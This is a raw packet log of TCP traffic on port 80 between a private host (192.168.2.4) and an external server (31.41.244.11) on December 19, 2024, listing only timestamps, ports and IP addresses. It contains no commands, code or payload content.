Dec 19, 2024 14:10:21.046806097 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.046888113 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.047626019 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.047679901 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.047925949 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.047982931 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.048595905 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.048641920 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.048660994 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.048685074 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.049436092 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.049489975 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.049515009 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.049532890 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.050293922 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.050465107 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.050520897 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.050631046 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.051213026 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.051268101 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.051347017 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.051408052 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.052108049 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.052158117 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.052181005 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.052225113 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.053082943 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.053133011 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.053200960 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.053284883 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.053942919 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.053994894 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.199152946 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.199256897 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.199357986 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.199404001 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.199691057 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.199793100 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.199814081 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.199856043 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.200438976 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.200536966 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.200566053 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.200579882 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.201340914 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.201399088 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.201478004 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.201534033 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.202296972 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.202383995 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.202433109 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.202481031 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.203169107 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.203226089 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.203241110 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.203285933 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.204049110 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.204097986 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.204181910 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.204224110 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.204978943 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.205033064 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.205064058 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.205091000 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.205856085 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.205914021 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.205990076 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.206037045 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.206922054 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.207053900 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.207127094 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.207170010 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.207700014 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.207748890 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.207823992 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.207865953 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.208650112 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.208715916 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.208734035 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.208777905 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.209507942 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.209588051 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.209652901 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.209697008 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.210407972 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.210474968 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.210545063 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.211374044 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.211544991 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.211594105 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.212214947 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.212268114 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.212321997 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.212368011 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.213114023 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.213239908 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.213284016 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.213327885 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.214051962 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.214102030 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.214188099 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.214231968 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.214920998 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.215042114 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.215045929 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.215089083 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.215863943 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.215915918 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.215991020 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.216037989 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.216916084 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.216949940 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.216968060 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.216991901 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.217832088 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.217866898 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.217890978 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.217915058 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.218717098 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.218763113 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.218770027 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.218823910 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.219536066 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.219588041 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.219590902 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.219640017 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.220460892 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.220518112 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.220566988 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.220609903 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.221323967 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.221358061 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.221390009 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.221409082 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.222142935 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.222357988 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.222418070 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.223059893 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.223131895 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.223210096 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.223325968 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.223970890 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.224042892 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.224087954 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.224363089 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.224860907 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.224920988 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.225003004 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.225130081 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.225780010 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.225852013 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.225956917 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.226028919 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.226691961 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.226772070 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.226816893 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.226867914 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.227602005 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.227672100 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.227684021 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.227730989 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.228527069 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.228596926 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.228610992 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.228658915 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.229409933 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.229474068 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.229578018 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.229626894 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.230348110 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.230470896 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.230472088 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.230511904 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.231379986 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.231437922 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.231468916 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.231514931 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.232152939 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.232222080 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.232331991 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.232464075 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.233141899 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.233197927 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.233261108 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.233354092 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.233943939 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.233999968 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.234076977 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.234127998 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.234889030 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.234961033 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.235215902 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.235296965 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.235950947 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.236002922 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.236027002 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.236056089 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.236789942 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.236856937 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.236902952 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.236974001 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.237571955 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.237622976 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.237684965 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.237931967 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.238439083 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.238496065 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.238535881 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.238612890 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.239506960 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.239572048 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.239577055 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.239615917 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.240401030 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.240462065 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.240591049 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.240641117 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.241142988 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.241205931 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.241246939 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.241295099 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.242114067 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.242149115 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.242176056 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.242201090 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.242969036 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.243021965 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.243074894 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.243894100 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.243952990 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.244033098 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.244081020 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.244776011 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.244827986 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.244906902 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.244957924 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.245671988 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.245726109 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.245790958 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.245841026 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.246511936 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.248342037 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.391155005 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.391232967 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.391300917 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.391423941 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.391752005 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.391817093 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.391896963 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.391946077 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.392343044 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.392518997 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.392589092 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.392695904 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.393276930 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.393408060 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.393455982 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.394078016 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.394202948 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.394247055 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.394998074 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.395112038 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.395167112 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.396147966 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.396229982 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.396284103 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.396465063 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.396806955 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.396869898 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.396946907 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.396998882 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.397689104 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.397802114 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.397842884 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.398926973 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.399094105 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.399159908 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.399298906 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.399593115 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.399637938 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.399709940 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.399986982 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.400509119 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.400620937 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.400650024 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.400687933 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.401300907 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.401396990 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.401442051 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.402276039 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.402379036 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.402424097 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.403142929 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.403292894 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.403323889 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.403374910 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.403990030 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.404125929 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.404205084 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.404897928 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.405044079 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.405054092 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.405090094 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.405797958 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.405982018 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.406024933 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.406757116 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.406807899 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.406864882 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.407604933 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.407655001 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.407783031 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.408015966 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.408514977 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.408569098 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.408613920 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.408658981 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.409478903 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.409542084 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.409548044 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.409759045 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.410325050 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.410458088 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.410509109 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.411218882 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.411273003 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.411372900 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.411645889 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.412163019 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.412220955 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.412278891 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.412393093 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.413052082 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.413168907 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.413297892 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.413933992 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.414047956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.414105892 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.414884090 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.415019989 CET	80	49775	31.41.244.11	192.168.2.4
